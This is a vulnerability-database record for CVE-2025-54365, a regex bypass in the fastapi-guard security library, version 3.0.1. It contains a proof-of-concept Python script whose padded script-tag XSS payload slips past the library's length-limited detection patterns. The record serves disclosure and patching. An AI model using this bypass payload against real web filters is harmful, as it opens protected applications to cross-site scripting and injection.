{"id":"CVE-2025-54365","aliases":["EUVD-2025-22476","GHSA-rrf6-pxg8-684g","PYSEC-2026-1360"],"status":"published","title":"fastapi-guard patch contains bypassable RegEx","description":"fastapi-guard is a security library for FastAPI that provides middleware to control IPs, log requests, detect penetration attempts and more. In version 3.0.1, the regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. This type of patch fails to detect cases in which the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters. As a result, most of the regex patterns present in version 3.0.1 can be bypassed. This is fixed in version 3.0.2.","severity":{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00871,"percentile":0.5932,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-185","CWE-20"],"published":"2025-07-23T15:31:12Z","modified":"2026-10-28T02:30:40Z","fixes":[{"ecosystem":"PyPI","package":"fastapi-guard","fixed_in":["3.0.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"fastapi-guard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.1"},{"last_affected":"3.0.1"},{"fixed":"3.0.2"}]}],"versions":["3.0.1"]},{"source":"osv","ecosystem":"PyPI","package":"fastapi-guard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.1"},{"fixed":"3.0.2"}]}],"versions":["3.0.1"]},{"source":"osv","ecosystem":"PyPI","package":"fastapi-guard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.1"},{"fixed":"3.0.2"}]}],"versions":["3.0.1"]}],"products":[{"vendor":"fastapi-guard","product":"fastapi_guard"},{"vendor":"rennf93","product":"fastapi-guard"}],"references":[{"url":"https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-rrf6-pxg8-684g","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/rennf93/fastapi-guard/commit/0829292c322d33dc14ab00c5451c5c138148035a","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54365","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rrf6-pxg8-684g","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54365.json","tags":["advisory"]},{"url":"https://github.com/rennf93/fastapi-guard","tags":["package"]},{"url":"https://pypi.org/project/fastapi-guard","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-54365","title":"fastapi-guard patch contains bypassable RegEx","description":"fastapi-guard is a security library for FastAPI that provides middleware to control IPs, log requests, detect penetration attempts and more. In version 3.0.1, the regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. This type of patch fails to detect cases in which the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters. As a result, most of the regex patterns present in version 3.0.1 can be bypassed. This is fixed in version 3.0.2.","status":"published","published":"2025-07-23T22:11:36.441Z","modified":"2025-07-24T13:36:52.638Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-20","CWE-185"],"updated_at":"2026-11-02T14:32:27.28543Z"}],"euvd":[{"id":"EUVD-2025-22476","description":"fastapi-guard is a security library for FastAPI that provides middleware to control IPs, log requests, detect penetration attempts and more. In version 3.0.1, the regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. This type of patch fails to detect cases in which the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters. As a result, most of the regex patterns present in version 3.0.1 can be bypassed. This is fixed in version 3.0.2.","status":"published","published":"2025-07-23T22:11:36Z","modified":"2025-07-24T13:36:52Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T20:32:04.291169Z"}],"ghsa":[{"id":"GHSA-rrf6-pxg8-684g","title":"FastAPI Guard has a regex bypass","description":"### Summary\n\nThe regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.\n\n### Details\n\nIn version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS.\nhttps://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f\n\nThis commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.\n`r\"\u003cscript[^\u003e]*\u003e[^\u003c]*\u003c\\\\/script\\\\s*\u003e\"` -\u003e `\u003cscript[^\u003e]{0,100}\u003e[^\u003c]{0,1000}\u003c\\\\/script\\\\s{0,10}\u003e`\n\nThis type of patch fails to catch cases where the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters.\nTherefore, most of the regex patterns present in version 3.0.1 can be bypassed.\n\n### PoC\n\n1. clone the fastapi-guard repository\n2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.\n\u003cimg width=\"1013\" height=\"554\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54\" /\u003e\n3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.\n\n```python\nimport requests\n\nURL = \"\u003chttp://localhost:8000\u003e\"\n\nobvious_payload = {\n    \"obvious\" : \"\u003cscript\u003ealert(1);\u003c/script\u003e\"\n}\nresponse = requests.post(url=URL, json=obvious_payload)\nprint(f\"[+] response of first request: {response.text}\")\n\nbypassed_payload = {\n    \"suspicious\" : f'\u003cscript id=\"i_can_bypass_regex_filtering{'a'*100}\"\u003ealert(1)\u003c/script\u003e'\n}\n\nresponse = requests.post(url=URL, json=bypassed_payload)\nprint(f\"[+] response of second request: {response.text}\")\n\n```\n\u003cimg width=\"836\" height=\"112\" alt=\"image\" src=\"https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7\" /\u003e\n\n### Impact\n\nDue to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.","status":"published","published":"2025-07-23T15:31:12Z","modified":"2025-10-13T15:37:43Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-20","CWE-185","CWE-1333"],"updated_at":"2026-11-02T14:39:00.807341Z"}],"nvd":[{"id":"CVE-2025-54365","description":"fastapi-guard is a security library for FastAPI that provides middleware to control IPs, log requests, detect penetration attempts and more. In version 3.0.1, the regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. This type of patch fails to detect cases in which the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters. As a result, most of the regex patterns present in version 3.0.1 can be bypassed. This is fixed in version 3.0.2.","status":"published","published":"2025-07-23T23:15:24.05Z","modified":"2026-06-17T09:39:55.91Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-20","CWE-185","CWE-1333"],"updated_at":"2026-11-02T14:11:19.382856Z"}],"osv":[{"id":"CVE-2025-54365","title":"fastapi-guard patch contains bypassable RegEx","description":"fastapi-guard is a security library for FastAPI that provides middleware to control IPs, log requests, detect penetration attempts and more. In version 3.0.1, the regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. This type of patch fails to detect cases in which the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters. As a result, most of the regex patterns present in version 3.0.1 can be bypassed. This is fixed in version 3.0.2.","status":"published","published":"2025-07-23T22:11:36.441Z","modified":"2026-10-28T02:30:40.518343932Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-185","CWE-20"],"updated_at":"2026-11-02T15:44:50.863921Z"},{"id":"GHSA-rrf6-pxg8-684g","title":"FastAPI Guard has a regex bypass","description":"### Summary\n\nThe regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.\n\n### Details\n\nIn version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS.\nhttps://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f\n\nThis commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.\n`r\"\u003cscript[^\u003e]*\u003e[^\u003c]*\u003c\\\\/script\\\\s*\u003e\"` -\u003e `\u003cscript[^\u003e]{0,100}\u003e[^\u003c]{0,1000}\u003c\\\\/script\\\\s{0,10}\u003e`\n\nThis type of patch fails to catch cases where the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters.\nTherefore, most of the regex patterns present in version 3.0.1 can be bypassed.\n\n### PoC\n\n1. clone the fastapi-guard repository\n2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.\n\u003cimg width=\"1013\" height=\"554\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54\" /\u003e\n3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.\n\n```python\nimport requests\n\nURL = \"\u003chttp://localhost:8000\u003e\"\n\nobvious_payload = {\n    \"obvious\" : \"\u003cscript\u003ealert(1);\u003c/script\u003e\"\n}\nresponse = requests.post(url=URL, json=obvious_payload)\nprint(f\"[+] response of first request: {response.text}\")\n\nbypassed_payload = {\n    \"suspicious\" : f'\u003cscript id=\"i_can_bypass_regex_filtering{'a'*100}\"\u003ealert(1)\u003c/script\u003e'\n}\n\nresponse = requests.post(url=URL, json=bypassed_payload)\nprint(f\"[+] response of second request: {response.text}\")\n\n```\n\u003cimg width=\"836\" height=\"112\" alt=\"image\" src=\"https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7\" /\u003e\n\n### Impact\n\nDue to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.","status":"published","published":"2025-07-23T15:31:12Z","modified":"2026-09-10T03:50:26.30848924Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-1333","CWE-185","CWE-20"],"updated_at":"2026-11-02T15:46:56.281047Z"},{"id":"PYSEC-2026-1360","title":"FastAPI Guard has a regex bypass","description":"### Summary\n\nThe regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.\n\n### Details\n\nIn version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS.\nhttps://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f\n\nThis commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.\n`r\"\u003cscript[^\u003e]*\u003e[^\u003c]*\u003c\\\\/script\\\\s*\u003e\"` -\u003e `\u003cscript[^\u003e]{0,100}\u003e[^\u003c]{0,1000}\u003c\\\\/script\\\\s{0,10}\u003e`\n\nThis type of patch fails to catch cases where the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters.\nTherefore, most of the regex patterns present in version 3.0.1 can be bypassed.\n\n### PoC\n\n1. clone the fastapi-guard repository\n2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.\n\u003cimg width=\"1013\" height=\"554\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54\" /\u003e\n3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.\n\n```python\nimport requests\n\nURL = \"\u003chttp://localhost:8000\u003e\"\n\nobvious_payload = {\n    \"obvious\" : \"\u003cscript\u003ealert(1);\u003c/script\u003e\"\n}\nresponse = requests.post(url=URL, json=obvious_payload)\nprint(f\"[+] response of first request: {response.text}\")\n\nbypassed_payload = {\n    \"suspicious\" : f'\u003cscript id=\"i_can_bypass_regex_filtering{'a'*100}\"\u003ealert(1)\u003c/script\u003e'\n}\n\nresponse = requests.post(url=URL, json=bypassed_payload)\nprint(f\"[+] response of second request: {response.text}\")\n\n```\n\u003cimg width=\"836\" height=\"112\" alt=\"image\" src=\"https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7\" /\u003e\n\n### Impact\n\nDue to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.","status":"published","published":"2026-07-07T16:02:58.474289Z","modified":"2026-07-07T17:47:35.923844529Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T15:52:54.622769Z"}]}}